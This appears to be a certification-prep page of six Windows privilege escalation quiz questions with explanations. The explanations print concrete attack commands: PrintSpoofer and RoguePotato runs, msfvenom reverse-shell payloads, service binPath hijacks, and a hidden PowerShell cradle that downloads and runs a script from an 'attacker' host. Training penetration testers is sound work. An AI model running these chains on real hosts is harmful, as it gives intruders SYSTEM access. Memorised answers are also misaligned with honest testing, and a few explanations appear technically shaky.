Free Offensive Security Windows Privilege Escalation Practice Test 2026

Master Windows Privilege Escalation with free offensive security practice questions covering Windows privilege escalation through token impersonation, service misconfigurations, registry abuse, and UAC bypass. Each question includes a detailed explanation — no signup required. This domain accounts for 8% of the mock exam and maps to skills tested across eJPT, OSCP, PNPT, OSWE, and OSEP.

Key Windows Privilege Escalation Topics

Free Windows Privilege Escalation Sample Questions with Answers

Each question below includes 4 answer options, the correct answer, and a detailed explanation from the FlashGenius Offensive Security question bank.

Sample Question 1 — Windows Privilege Escalation

You have a low-privilege reverse shell (NT AUTHORITY\LOCAL SERVICE) on a Windows Server 2019 member server. During enumeration, you run the following commands: 1) Check your token privileges: whoami /priv Privilege Name Description State ============================= ========================================= ======== SeChangeNotifyPrivilege Bypass traverse checking Enabled SeImpersonatePrivilege Impersonate a client after authentication Enabled SeCreateGlobalPrivilege Create global objects Enabled 2) Enumerate named pipes using a precompiled binary (PrintSpoofer-style tool): C:\temp> .\pipe_enum.exe [+] Found pipe: \\.\pipe\spoolss [+] Found pipe: \\.\pipe\ntsvcs [+] Found pipe: \\.\pipe\lsass 3) You confirm the Print Spooler service is running: PS C:\temp> Get-Service Spooler Status Name DisplayName ------ ---- ----------- Running Spooler Print Spooler Your goal is to escalate to NT AUTHORITY\SYSTEM without crashing the box or dropping obvious malware. Which of the following is the MOST appropriate next step?

  1. A. Use a token duplication tool (e.g., incognito) to directly duplicate the SYSTEM token from lsass.exe and spawn a SYSTEM shell.
  2. B. Use a named pipe impersonation exploit (e.g., PrintSpoofer or RoguePotato-style) against the Spooler service via \\.\pipe\spoolss to trigger SYSTEM authentication and impersonate the token. (Correct answer)
  3. C. Enable RDP via registry edits and then attempt a Pass-the-Hash attack using the LOCAL SERVICE account hash to log in as SYSTEM.
  4. D. Exploit SeCreateGlobalPrivilege by creating a malicious global mutex that forces SYSTEM processes to load your DLL from C:\temp.

Correct answer: B

Explanation: The scenario is a classic modern Windows privilege escalation path leveraging SeImpersonatePrivilege and a service that will authenticate as SYSTEM over a named pipe. Why B is correct: - You have SeImpersonatePrivilege enabled, which is exactly what tools like PrintSpoofer, RoguePotato, and JuicyPotatoNG abuse. - The Print Spooler service is running and exposes the \\.\pipe\spoolss named pipe. This is a well-known target for named pipe impersonation attacks. - The typical attack chain: 1) Start a named pipe server that the Spooler (running as SYSTEM) will connect to. 2) Coerce the Spooler to authenticate to your pipe. 3) When the SYSTEM client connects, call ImpersonateNamedPipeClient to obtain a SYSTEM token. 4) Use that token to spawn a SYSTEM shell. A PrintSpoofer-style command might look like: C:\temp> PrintSpoofer.exe -i -c "cmd.exe" or, with a more modern tool: C:\temp> RoguePotato.exe -r <attacker_ip> -e "cmd.exe" -l 9999 - This approach is low-noise, does not require kernel exploits, and is aligned with current OSCP/PNPT/OSEP-style privesc techniques. Why A is wrong: - Directly duplicating the SYSTEM token from lsass.exe is not possible from a LOCAL SERVICE context without additional privileges (e.g., SeDebugPrivilege) or a separate exploit. - Tools like incognito (Meterpreter) require that you already have access to a token (e.g., via impersonation or a process handle). You cannot simply "pull" SYSTEM's token out of lsass.exe from this low-privileged context. - The question explicitly highlights SeImpersonatePrivilege and named pipes, pointing toward a named pipe impersonation chain, not direct LSASS token theft. Why C is wrong: - LOCAL SERVICE is a local pseudo-account; it does not have credentials or a reusable NTLM hash you can meaningfully use for Pass-the-Hash to become SYSTEM. - Enabling RDP and trying to log in as SYSTEM is not a valid technique; SYSTEM is not a normal logon account. - This is noisy (registry changes, service changes) and not the intended or realistic escalation path given the information. Why D is wrong: - SeCreateGlobalPrivilege allows creating global named objects (e.g., mutexes, events) in terminal server sessions, but by itself it does not force SYSTEM processes to load arbitrary DLLs. - There is no standard, reliable privesc technique that simply abuses SeCreateGlobalPrivilege alone to escalate to SYSTEM in the way described. - The described behavior ("malicious global mutex that forces SYSTEM processes to load your DLL") is not a realistic or common attack pattern in current exam-grade scenarios. Therefore, leveraging SeImpersonatePrivilege with a named pipe impersonation exploit against the Print Spooler (option B) is the correct and most realistic next step.

Sample Question 2 — Windows Privilege Escalation

During an internal penetration test, you obtain a low-privilege shell as user `websvc` on a Windows 10 host. You run the following enumeration commands: 1) Check group membership: C:\Users\websvc> whoami /groups GROUP INFORMATION ----------------- Group Name Type SID Attributes ========================================= ================ ============================================= ================ BUILTIN\Users Alias S-1-5-32-545 Mandatory group NT AUTHORITY\INTERACTIVE Well-known group S-1-5-4 Mandatory group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group BUILTIN\Users Alias S-1-5-32-545 Enabled by default NT AUTHORITY\LOCAL ACCOUNT Well-known group S-1-5-113 Mandatory group 2) Enumerate services with writeable binaries/configs using PowerShell: PS C:\> Import-Module .\PowerUp.ps1 PS C:\> Invoke-ServiceAbuse ServiceName : BackupAgent Path : "C:\Program Files\BackupAgent\backup.exe" StartName : LocalSystem AbuseFunction : Invoke-ServiceAbuse -ServiceName 'BackupAgent' -Command '...' CanRestart : True ModifiableFile: C:\Program Files\BackupAgent\backup.exe 3) Confirm write access: C:\> icacls "C:\Program Files\BackupAgent\backup.exe" C:\Program Files\BackupAgent\backup.exe NT AUTHORITY\Authenticated Users:(M) BUILTIN\Users:(RX) NT AUTHORITY\SYSTEM:(F) BUILTIN\Administrators:(F) You verify that `BackupAgent` is not a critical security product and can be restarted without impacting the client. What is the MOST appropriate and reliable way to escalate to SYSTEM on this host?

  1. A. Overwrite `backup.exe` with a copy of `cmd.exe`, then restart the `BackupAgent` service to spawn an interactive SYSTEM command prompt on the desktop.
  2. B. Replace `backup.exe` with a custom reverse shell binary that connects back to your C2, then restart the `BackupAgent` service to obtain a SYSTEM shell. (Correct answer)
  3. C. Use `sc config BackupAgent binPath= "C:\Windows\System32\cmd.exe /c net localgroup administrators websvc /add"` to change the service binary path and restart the service.
  4. D. Abuse the service by modifying its registry configuration under `HKLM\SYSTEM\CurrentControlSet\Services\BackupAgent` to set `ImagePath` to `C:\Windows\System32\cmd.exe`, then reboot the host.

Correct answer: B

Explanation: The key findings: - `BackupAgent` runs as LocalSystem (StartName: LocalSystem). - The service binary `C:\Program Files\BackupAgent\backup.exe` is modifiable by `NT AUTHORITY\Authenticated Users`, which includes your `websvc` user. - The service can be restarted (CanRestart: True). This is a textbook Windows service binary permission abuse scenario. Why B is correct: - Replacing the service binary with a custom reverse shell payload that connects back to your listener is a standard, reliable, and exam-appropriate technique. - When you restart the service, the Service Control Manager will execute your modified `backup.exe` as LocalSystem, giving you a SYSTEM shell. - This approach is: - Directly aligned with the PowerUp finding (ModifiableFile: backup.exe). - Less intrusive than modifying registry paths or rebooting the host. - Commonly used in OSCP/PNPT/OSEP-style labs. Example workflow: 1) Generate payload: msfvenom -p windows/x64/shell_reverse_tcp LHOST=<your_ip> LPORT=4444 -f exe -o backup.exe 2) Upload and overwrite: copy /Y C:\temp\backup.exe "C:\Program Files\BackupAgent\backup.exe" 3) Restart service: sc stop BackupAgent sc start BackupAgent 4) Catch SYSTEM shell on your listener. Why A is wrong: - Overwriting `backup.exe` with `cmd.exe` and restarting the service will run `cmd.exe` as SYSTEM, but as a service process in Session 0, not as an interactive desktop shell. - On modern Windows (post-Vista), services run in a non-interactive session; you will not see a visible SYSTEM command prompt on the logged-in user's desktop. - Without additional techniques (e.g., named pipe, reverse shell, or process injection), this does not give you usable interactive control. Why C is wrong: - `sc config` requires permission to modify the service configuration. The scenario only confirms that the binary file is modifiable, not that you can change the service configuration. - As a low-privilege user in BUILTIN\Users, you typically cannot reconfigure a LocalSystem service's binPath. - Even if you could, the command as written is suspicious and may be blocked by EDR; more importantly, the question emphasizes file-level write access, not service config write access. Why D is wrong: - Modifying the `ImagePath` in the registry under `HKLM\SYSTEM\CurrentControlSet\Services\BackupAgent` also requires administrative privileges; normal users cannot edit service configuration keys in HKLM. - Forcing a reboot is noisy and operationally risky, and there is no indication you have rights to change this key. - The question explicitly highlights that the binary itself is modifiable and the service can be restarted, making a binary replacement attack the intended path. Therefore, the most appropriate and realistic escalation path is to replace `backup.exe` with a reverse shell payload and restart the `BackupAgent` service (option B), yielding a SYSTEM shell.

Sample Question 3 — Windows Privilege Escalation

You have a low-privilege reverse shell on a Windows Server 2019 host joined to a domain. You upload and run winPEAS and notice the following (excerpted) output: [+] Services with modifiable binPath ----------------------------------- [i] You can modify the binary that a service executes SERVICE_NAME: BackupAgent DISPLAY_NAME: Corporate Backup Agent PATH_NAME: "C:\Program Files\CorpBackup\backupsvc.exe" START_TYPE: 2 AUTO_START SERVICE_TYPE: 16 WIN32_OWN_PROCESS USER: LocalSystem [*] Checking service permissions... C:\Program Files\CorpBackup\ [WRITE] BUILTIN\Users [*] Checking if current user can change service config... BackupAgent: SERVICE_CHANGE_CONFIG - ALLOWED for BUILTIN\Users Your current user is `corp\webuser`, a member of the local `Users` group only. You want to escalate to SYSTEM without crashing the service or rebooting the box. Which of the following is the most reliable next step to gain SYSTEM privileges?

  1. A. Use `sc stop BackupAgent` and then overwrite `C:\Program Files\CorpBackup\backupsvc.exe` with a malicious EXE that spawns a SYSTEM reverse shell, then run `sc start BackupAgent`.
  2. B. Use `sc config BackupAgent binPath= "cmd.exe /c whoami > C:\temp\pwn.txt"` and then restart the service with `net stop BackupAgent` followed by `net start BackupAgent`.
  3. C. Use `sc config BackupAgent binPath= "C:\Windows\System32\cmd.exe /c C:\temp\rev.bat"` where `rev.bat` launches a reverse shell, then trigger the service restart via `sc stop BackupAgent` and `sc start BackupAgent`. (Correct answer)
  4. D. Use `reg add HKLM\SYSTEM\CurrentControlSet\Services\BackupAgent /v ImagePath /t REG_EXPAND_SZ /d "C:\Windows\System32\cmd.exe" /f` and then reboot the server to apply the change.

Correct answer: C

Explanation: The scenario shows a classic service misconfiguration privilege escalation path: - The service `BackupAgent` runs as LocalSystem. - The service binary directory is writable by `BUILTIN\Users`. - The current user can change the service configuration (`SERVICE_CHANGE_CONFIG`). This means you can either: 1. Overwrite the existing binary, or 2. Repoint the `binPath` to a payload you control. You want a **reliable** escalation without rebooting or crashing the box. Why C is correct: - `sc config BackupAgent binPath= "C:\Windows\System32\cmd.exe /c C:\temp\rev.bat"` changes the service's executable to `cmd.exe` running a script you control. - `rev.bat` can contain a stable reverse shell command, e.g.: ```bat powershell -NoP -NonI -W Hidden -Exec Bypass -c "IEX(New-Object Net.WebClient).DownloadString('http://attacker/rev.ps1')" ``` - Using `cmd.exe` from `System32` is stable and trusted, reducing AV/EDR suspicion compared to dropping a random EXE. - Restarting the service via `sc stop BackupAgent` and `sc start BackupAgent` will run the service as LocalSystem, executing your payload and giving you a SYSTEM shell. - This is a standard, exam-grade service misconfig privesc chain: identify writable service + change binPath + restart service. Why A is wrong: - Overwriting `backupsvc.exe` is noisier and riskier: - If the service expects specific behavior (CLI args, IPC, etc.), replacing it with a generic reverse shell EXE can cause crashes or detection. - You might break backup functionality, which is more noticeable in an enterprise environment. - While this *can* work, it is less reliable and more intrusive than simply repointing `binPath` to `cmd.exe` with a controlled script. Why B is wrong: - `binPath= "cmd.exe /c whoami > C:\temp\pwn.txt"` only writes the current user to a file. That confirms SYSTEM context but does not give you an interactive shell or persistent control. - For an exam-style question, the goal is to obtain a usable SYSTEM shell, not just proof of concept. Why D is wrong: - Editing the `ImagePath` via `reg add` is a more manual and error-prone way of doing what `sc config` already does cleanly. - It also requires a reboot to be sure the change is applied, which is: - Noisier and more disruptive. - Often not allowed in real engagements. - `sc config` is the standard and immediate way to modify service configuration. Relevant technique/commands: - Enumerating services: `sc qc BackupAgent`, `accesschk.exe -uwcqv users * /accepteula`. - Exploiting misconfigured service: ```cmd sc config BackupAgent binPath= "C:\Windows\System32\cmd.exe /c C:\temp\rev.bat" sc stop BackupAgent sc start BackupAgent ``` - This is a core Windows privilege escalation pattern tested in OSCP/PNPT/OSEP: abusing service misconfigurations to get SYSTEM.

Sample Question 4 — Windows Privilege Escalation

During an internal assessment, you obtain a low-privilege PowerShell reverse shell on a Windows 10 host (local user, not admin). You run the following commands: PS C:\Users\bob> whoami /groups | findstr /I "token" 3 S-1-5-32-559 Mandatory Label\High Mandatory Level Token PS C:\Users\bob> whoami /priv PRIVILEGES INFORMATION ---------------------- SeChangeNotifyPrivilege Enabled SeImpersonatePrivilege Enabled SeIncreaseWorkingSetPrivilege Disabled You then run `whoami /all` and confirm the user is **not** a local administrator and UAC is enabled. You want to escalate to SYSTEM using a modern, realistic technique. Which approach is the most appropriate next step?

  1. A. Use `runas /user:Administrator cmd.exe` and supply a blank password, relying on SeImpersonatePrivilege to bypass the need for credentials.
  2. B. Use a Potato-style exploit (e.g., Juicy Potato) to abuse SeImpersonatePrivilege and spawn a SYSTEM shell, after confirming the correct COM CLSID for the OS version.
  3. C. Use `psexec.exe -s -i cmd.exe` to directly spawn a SYSTEM shell, since SeImpersonatePrivilege allows creating SYSTEM processes.
  4. D. Use a modern impersonation exploit such as PrintSpoofer or RoguePotato (depending on OS build) to abuse SeImpersonatePrivilege and obtain a SYSTEM shell. (Correct answer)

Correct answer: D

Explanation: The key enumeration findings: - User is low-privileged (not local admin). - UAC is enabled. - `SeImpersonatePrivilege` is enabled. `SeImpersonatePrivilege` is a powerful privilege that allows a process to impersonate a token of another user (often SYSTEM) under certain conditions. Modern Windows builds have patched older Potato-style exploits (e.g., Juicy Potato) but newer techniques exist. Why D is correct: - Modern Windows 10/Server 2019+ often block or restrict classic Juicy Potato due to changes in the way COM services and privileges are handled. - Tools like **PrintSpoofer**, **RoguePotato**, or **JuicyPotatoNG** are designed to exploit `SeImpersonatePrivilege` on newer builds by: - Triggering a privileged service (e.g., Print Spooler or other RPC/COM service) to authenticate to a controlled named pipe. - Impersonating the SYSTEM token on that pipe. - Spawning a SYSTEM shell. - Typical usage (from a low-priv shell): ```cmd PrintSpoofer.exe -i -c "cmd.exe" ``` or ```cmd RoguePotato.exe -r <attacker_ip> -e "cmd.exe" -l 9999 ``` - This is a very common, up-to-date Windows privesc path tested in OSCP/PNPT/OSEP: abuse `SeImpersonatePrivilege` with a modern Potato variant. Why A is wrong: - `runas /user:Administrator cmd.exe` requires **valid credentials** for the Administrator account. - `SeImpersonatePrivilege` does not magically bypass credential prompts; it allows impersonation of already-authenticated tokens, not passwordless logon. - A blank password will simply fail unless the account is misconfigured (which is not indicated here). Why B is wrong: - Classic **Juicy Potato** relies on specific COM services and behavior that are mitigated in newer Windows 10/Server 2019 builds. - The question explicitly asks for a **modern, realistic technique**; using Juicy Potato on up-to-date systems is often unreliable or fails outright. - While the general idea (Potato-style exploit) is correct, the better answer is to use tools specifically designed for newer OS versions (PrintSpoofer, RoguePotato), as in option D. Why C is wrong: - `psexec.exe -s -i cmd.exe` requires the ability to create a SYSTEM service or use the Service Control Manager with appropriate rights (typically local admin). - `SeImpersonatePrivilege` alone does **not** grant the right to run PsExec as SYSTEM. - Without local admin or service creation rights, PsExec cannot simply spawn a SYSTEM shell. Relevant technique/commands: - Enumerate privileges: ```powershell whoami /priv whoami /groups ``` - Exploit `SeImpersonatePrivilege` with PrintSpoofer: ```cmd PrintSpoofer.exe -i -c "cmd.exe" ``` - Or with RoguePotato: ```cmd RoguePotato.exe -r <attacker_ip> -e "cmd.exe" -l 9999 ``` - This chain (enumerate token privileges → identify SeImpersonatePrivilege → use modern Potato) is a staple in advanced Windows privesc and OSEP-style exams.

Sample Question 5 — Windows Privilege Escalation

You have a foothold on a Windows Server 2016 member server as a local user `appsvc`. You upload and run `Seatbelt.exe` and see the following relevant output: == UAC / Privilege Settings == [*] UAC is Enabled [*] LocalAccountTokenFilterPolicy: 0 == Registry AutoRuns == HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name: UpdateChecker Value: "C:\Program Files\UpdateChecker\update.exe" == File Permissions == C:\Program Files\UpdateChecker\ [WRITE] BUILTIN\Users == Services == SERVICE_NAME: UpdateCheckerSvc DISPLAY_NAME: Update Checker Service START_TYPE: 2 AUTO_START SERVICE_TYPE: 16 WIN32_OWN_PROCESS BINARY_PATH_NAME: "C:\Program Files\UpdateChecker\svcwrapper.exe" SERVICE_START_NAME: .\Administrator You confirm that `svcwrapper.exe` is **not** writable, but the directory `C:\Program Files\UpdateChecker\` is writable by `BUILTIN\Users`. You also verify that `UpdateCheckerSvc` is currently stopped and that you cannot change its configuration (no `SERVICE_CHANGE_CONFIG` rights). However, you notice that when the Administrator logs in interactively, `UpdateCheckerSvc` is started manually via a scheduled task. What is the most appropriate way to turn this into a reliable privilege escalation to local Administrator?

  1. A. Replace `svcwrapper.exe` with a malicious EXE that spawns a reverse shell, then wait for the Administrator to start `UpdateCheckerSvc`.
  2. B. Create a malicious DLL named `version.dll` in `C:\Program Files\UpdateChecker\` that exports the same functions as the real `version.dll`, and wait for `svcwrapper.exe` to load it when the service starts.
  3. C. Create a malicious `update.exe` in `C:\Program Files\UpdateChecker\` that spawns a reverse shell, relying on the HKLM Run key to execute it as Administrator on next login. (Correct answer)
  4. D. Modify the `UpdateChecker` Run key to point to `C:\Windows\System32\cmd.exe` and wait for the Administrator to log in, which will spawn an elevated command prompt.

Correct answer: C

Explanation: Key observations from the enumeration: - UAC is enabled. - `LocalAccountTokenFilterPolicy: 0` (no automatic full token for local accounts over network; not directly relevant here). - There is an **HKLM Run** key: ``` HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Name: UpdateChecker Value: "C:\Program Files\UpdateChecker\update.exe" ``` - The directory `C:\Program Files\UpdateChecker\` is writable by `BUILTIN\Users`. - The service `UpdateCheckerSvc` runs as `.\Administrator` but: - Its binary `svcwrapper.exe` is not writable. - You cannot change its configuration. - It is started manually by a scheduled task when Administrator logs in. The **Run key is under HKLM**, meaning any executable it points to will run at **every interactive logon** of any user with sufficient rights, including the local Administrator. Since the path is writable by low-priv users, you can plant a payload there. Why C is correct: - You can create or replace `update.exe` in `C:\Program Files\UpdateChecker\` with a malicious binary that spawns a reverse shell or adds your user to the local Administrators group. - Because the Run key is in **HKLM**, it executes in the context of the logged-in user (Administrator) at logon. - When the Administrator next logs in, `update.exe` will run with Administrator privileges, giving you a local admin shell. - This is a classic **registry autorun + writable path** privilege escalation. - Example approach: 1. Generate payload: ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker_ip> LPORT=4444 -f exe -o update.exe ``` 2. Upload to `C:\Program Files\UpdateChecker\update.exe`. 3. Wait for Administrator login (or trigger it via social engineering/other activity). Why A is wrong: - `svcwrapper.exe` is **not writable**, so you cannot replace it. - Even if you could, replacing a service binary is noisy and may break functionality. - The question explicitly states you confirmed `svcwrapper.exe` is not writable. Why B is wrong: - DLL hijacking is plausible **only if** you know that `svcwrapper.exe` loads `version.dll` from its working directory or an insecure search path. - The question does not provide any evidence (e.g., ProcMon output, dependency walker results) that `svcwrapper.exe` loads `version.dll` or any other DLL from the writable directory. - Assuming a specific DLL hijack without evidence is not a reliable exam-grade answer. Why D is wrong: - Modifying the HKLM Run key itself requires **registry write access to HKLM** (typically admin rights). The question only states that the directory is writable, not the registry key. - You are not told that you can modify the Run key; only that it exists and points to `update.exe`. - The realistic attack is to abuse the writable path (`update.exe`), not the registry value. Relevant technique/commands: - Enumerate autoruns: ```powershell reg query "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" ``` - Check permissions on path: ```cmd icacls "C:\Program Files\UpdateChecker\" ``` - Exploit writable path for autorun: 1. Upload malicious `update.exe`. 2. Wait for Administrator logon → payload runs as Administrator. This pattern (HKLM Run key → writable executable path → replace binary → wait for admin logon) is a realistic Windows privilege escalation vector often seen in OSCP/PNPT/OSEP-style exams.

Sample Question 6 — Windows Privilege Escalation

You have a low-privilege reverse shell on a Windows Server 2019 host as user `websvc`. During enumeration, you run the following PowerShell command: ```powershell Get-WmiObject win32_service | Select-Object Name, DisplayName, StartName, PathName | Where-Object { $_.StartName -eq 'LocalSystem' -and $_.PathName -like '*"*' } ``` It returns: ```text Name : BackupSync DisplayName : Backup Synchronization Service StartName : LocalSystem PathName : "C:\Program Files\BackupSync\sync.exe" -config C:\backup\config.yaml Name : LogRotate DisplayName : Log Rotation Service StartName : LocalSystem PathName : C:\Tools\logrotate.exe -f C:\logs\rotate.conf ``` You confirm that `websvc` has write permissions on `C:\Tools\` but not on `C:\Program Files\BackupSync\`. The `LogRotate` service is currently stopped, and `websvc` is in the local `BackupOperators` group, which can start/stop services. Which is the most reliable way to escalate to SYSTEM on this host without crashing the box?

  1. A. Overwrite `C:\Tools\logrotate.exe` with a malicious EXE that spawns a SYSTEM reverse shell, then start the `LogRotate` service using `sc start LogRotate`. (Correct answer)
  2. B. Exploit the unquoted service path in `BackupSync` by creating `C:\Program.exe` as a malicious payload and restarting the `BackupSync` service.
  3. C. Modify the `LogRotate` service binary path using `sc config LogRotate binPath= "C:\Windows\System32\cmd.exe /c whoami > C:\temp\poc.txt"` and start the service.
  4. D. Use `reg add` to change `BackupSync`'s `ImagePath` to a malicious binary under `C:\backup\` and reboot the server to trigger execution as SYSTEM.

Correct answer: A

Explanation: The key details: - `LogRotate` runs as LocalSystem. - Its binary path is `C:\Tools\logrotate.exe ...` with no quotes and no spaces in the directory path, so there is no unquoted service path issue here. - You have write permissions on `C:\Tools\` and can start/stop the service (via BackupOperators membership). - `BackupSync` has a quoted path under `C:\Program Files\...` where you do NOT have write access. Option A: - You can directly overwrite `C:\Tools\logrotate.exe` with a malicious EXE (e.g., msfvenom payload or custom C# binary) because you have write access to that directory. - Since the service runs as LocalSystem, starting it will execute your payload as SYSTEM. - Command chain: ```powershell # upload malicious logrotate.exe to C:\Tools\ sc start LogRotate ``` - This is a classic service binary replacement privesc and is reliable because it doesn't depend on reboot or race conditions. - Therefore A is correct. Option B: - `BackupSync` is properly quoted: `"C:\Program Files\BackupSync\sync.exe" -config ...`. - Unquoted service path exploitation relies on a path like `C:\Program Files\BackupSync\sync.exe` *without* quotes, which would allow Windows to search for `C:\Program.exe`, `C:\Program Files\BackupSync.exe`, etc. - Here the path is already quoted, so dropping `C:\Program.exe` will not be executed. - Also, you lack write access to `C:\Program Files\BackupSync\`. - So B is wrong. Option C: - `sc config` requires administrative privileges to change the service configuration (binPath). Being in `BackupOperators` typically allows starting/stopping and backing up files, but not reconfiguring services. - As `websvc` (non-admin), `sc config LogRotate ...` will fail with access denied. - Even if it worked, this is less stealthy and more intrusive than simply replacing the binary you already control. - So C is incorrect in this context. Option D: - Modifying `ImagePath` in the registry for `BackupSync` also requires administrative rights (or at least write access to HKLM\SYSTEM\CurrentControlSet\Services\BackupSync), which a low-privilege service account typically does not have. - It also requires a reboot to trigger, which is not ideal or guaranteed in a pentest/CTF scenario. - You also don't have write access to `C:\Program Files\BackupSync\` where the binary currently resides. - So D is not a viable or reliable escalation path. Thus, replacing the writable LocalSystem service binary for `LogRotate` and starting the service (A) is the most direct and reliable Windows privilege escalation method here.

Offensive Security Prep Pack Overview

Other Offensive Security Domains

Start the free offensive security Windows Privilege Escalation practice test now | 10-question quick start | All offensive security domains | All Sample Tests